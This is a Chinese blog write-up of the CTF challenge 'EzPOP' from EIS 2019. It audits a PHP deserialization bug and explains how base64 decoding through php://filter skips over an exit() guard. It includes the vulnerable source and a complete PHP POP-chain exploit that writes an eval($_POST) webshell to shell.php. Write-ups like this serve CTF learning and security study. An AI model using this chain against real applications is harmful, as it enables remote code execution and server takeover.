[EIS 2019]EzPOP

本文详细分析了一个PHP代码片段,涉及类的构造、析构方法以及文件写入操作。通过构造特定的payload,利用base64解码特性绕过限制,实现数据写入并执行恶意代码,从而可能导致安全风险。文章讨论了如何通过设置类属性和方法,结合base64编码的特性,绕过代码中的过滤机制,最终达到执行自定义shell的目的。
摘要由CSDN通过智能技术生成
<?php
error_reporting(0);

class A {

    protected $store;

    protected $key;

    protected $expire;

    public function __construct($store, $key = 'flysystem', $expire = null) {
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }

    public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

    public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

    public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }
}

class B {

    protected function getExpireTime($expire): int {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string {
        return $this->options['prefix'] . $name;
    }

    protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);

        if ($result) {
            return true;
        }

        return false;
    }

}

if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

审计下来能利用的魔法函数不多,看到file_put_contents知道应该是要写shell了。
先来看看payload

<?php
    class A{
        protected $store;
        protected $key;
        protected $expire;

        public function __construct(){
            $this->key = 'shell.php';
            $this->store = new B();
            $this->cache = array();
            $this->autosave = false;
            $this->complete = base64_encode('xxx'.'PD9waHAgQGV2YWwoJF9QT1NUWydwYXNzJ10pOz8+');
            $this->expire = 0;
        }
    }


    class B{
        public $options;
        public function __construct(){
            $this->options['prefix'] = "php://filter/write=convert.base64-decode/resource=";
            $this->options['data_compress'] = false;
            $this->options['serialize'] = 'base64_decode';
        }

    }

    $a = new A();
    echo urlencode(serialize($a));

先来看A类

public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

    public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

看到save方法里用了$this->store->set(),而set方法是在B类里面定义的,显然构造pop时$this->store=new B();
再来看看 B类
在这里插入图片描述
$data是$valuse经过了serialize方法的处理,最后被写入文件中,$value是A类中的cache传入的,cache又经过了A类中的cleanContents方法处理后又经过json编码,我们来看看cleanContents这个方法。

public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

实际上是经过取交集处理。array_intersect_key方法取两个数组的交集。
重点:base64解码有一个特性,就是会自动忽略不合法的字符
我们来本地测试。

<?php
    $contents = array();
    $complete = base64_encode('fmyyy');
    echo json_encode([$contents,$complete]).'<br>';
    echo base64_decode(json_encode([$contents,$complete]));

假设我们传入空数组,那么经过cleanContents处理后还是空数组,可以忽略,来看看上面代码的结果。
在这里插入图片描述
我们将符合base64编码的字符和空数组进行json编码后再进行base64解码,因为[ , 不符合base64解码的规则,所以被自动忽略,只剩下我们符合base64规则的字符串。
在这里插入图片描述
看到B类中,serialize是我们可控的,所以,我们只要将serialize赋值为base64_decode,再利用特性,即可将$data赋值为我们想要的值。
这道题还有一个地方要利用这个特性:

$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;

看到这里,如果正常传入,我们的shell前面会有个exit()函数,会直接退出,无法执行shell。
再来看看我们的payload:
在这里插入图片描述
将以base64解码的方式写入文件,所以前面不符合的内容会被忽略,剩下符合规则的9个字符。但因为base64解码4个为一组,所以补上三个xxx让他解码成功。
在这里插入图片描述
至于其他属性都是细节内容就不再细说了,重点就是利用base64解码会忽略不合法字符的性质
在这里插入图片描述
最后配合shell拿到flag。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值